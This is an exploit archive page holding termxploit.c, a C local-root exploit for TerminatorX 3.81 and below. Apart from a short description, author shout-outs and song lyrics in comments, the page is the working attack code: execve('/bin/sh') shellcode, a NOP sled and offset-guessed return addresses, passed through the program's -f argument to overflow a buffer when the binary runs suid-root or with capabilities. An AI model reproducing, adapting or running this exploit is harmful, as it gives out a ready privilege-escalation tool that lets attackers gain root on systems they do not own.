what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

termxploit.c

termxploit.c
Posted Nov 14, 2003
Authored by Phender

TerminatorX version 3.81 and below local root exploit. Makes use of vulnerabilities discussed in this related advisory.

tags | exploit, local, root, vulnerability
SHA-256 | 353e26a854dbb90fd2e44d12f9a85d391324bccb56e027c9fdb3393227f42737

termxploit.c

Change Mirror Download
/*   terminatorX exploit by phender, shout outs to Morristown potheads and all the hot girls, prom is commin up   */
/* aim: weezedup email: phender@hackermail.com */
/* This will gain local root access if terminatorX is compiled with --enable-capabilities or --enable-suidroot */
/* Thanks to c0wboy from 0x333 for pointing out the bug */
/* Tested on Slackware */

#include <stdio.h>
/*offsets 230-200*/
#define BUFSIZE 300
long get_sp(void);

/* from shellcode.com.ar */

char shellcode[]=
"\xeb\x18"//jmp0x18// 3-4
"\x5e"//popl%esi// 5
"\x89\x76\x08"//movl%esi, 0x8(%esi)// 6-8
"\x31\xc0"//xorl%eax, %eax// 9-10
"\x88\x46\x07"//movb%al, 0x7(%esi) // 11-13
"\x89\x46\x0c"//movl%eax, 0xc(%esi)// 14-16
"\x89\xf3"//movl%esi, %ebx// 17-18
"\x8d\x4e\x08"//leal0x8(%esi), %ecx// 19-21
"\x8d\x56\x0c"//leal0xc(%esi), %edx// 22-24
"\xb0\x0b"//movb$0xb, %al// 25-20 0xb to eax (syscall execve)6
"\xcd\x80"//int$0x80// 27-28
"\xe8\xe3\xff\xff\xff"//call-0x1d
"/bin/sh";

main(int argc, char *argv[])
{
char buf[BUFSIZE];
long ret;
int i;
if(argc != 2){
printf("Usage: %s <offset> [Try values 230-200]", argv[0]);
exit(1);
}
ret = get_sp() - atoi(argv[1]);
printf("Using ret of: %p\n", get_sp(), ret);
for(i = 0; i < (BUFSIZE/4); i++){
memcpy(&buf[i*4], &ret, 4);
}
memset(buf, 0x90, 150);
strcpy(&buf[0]+50, shellcode);
buf[50+(strlen(shellcode))] = 0x90;
buf[BUFSIZE-1] = 0;
execlp("terminatorX", "terminatorX", "-f", buf, NULL);
}

long get_sp(void)
{
__asm__("movl %esp, %eax");
}

/*** Radiohead and DJ Shadow - Rabbit in Your Headlights

I'm a rabbit in your headlights
Scared of the spotlight
You don't come to visit
I'm stuck on this bed

Thin rubber gloves
She laughs when she's crying
She cries when she's laughing

Fat bloody fingers are sucking your soul away

I'm a rabbit in your headlights
Christian suburbanite
Washed down the toilet
Money to burn

Fat bloody fingers are sucking your soul away

If you're frightened of dying and then you hold on
You'll see devils tearing your life away
But, if you've made your peace
Then the devils are really angels
Freeing you from the Earth... from the Earth

White worms on the underground
Caught between stations
Butter fingers
I'm losing my patience

I'm a rabbit in your headlights
Christian suburbanite
You got money to burn

Fat bloody fingers are sucking your soul away... away... away..
**************************************************************/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close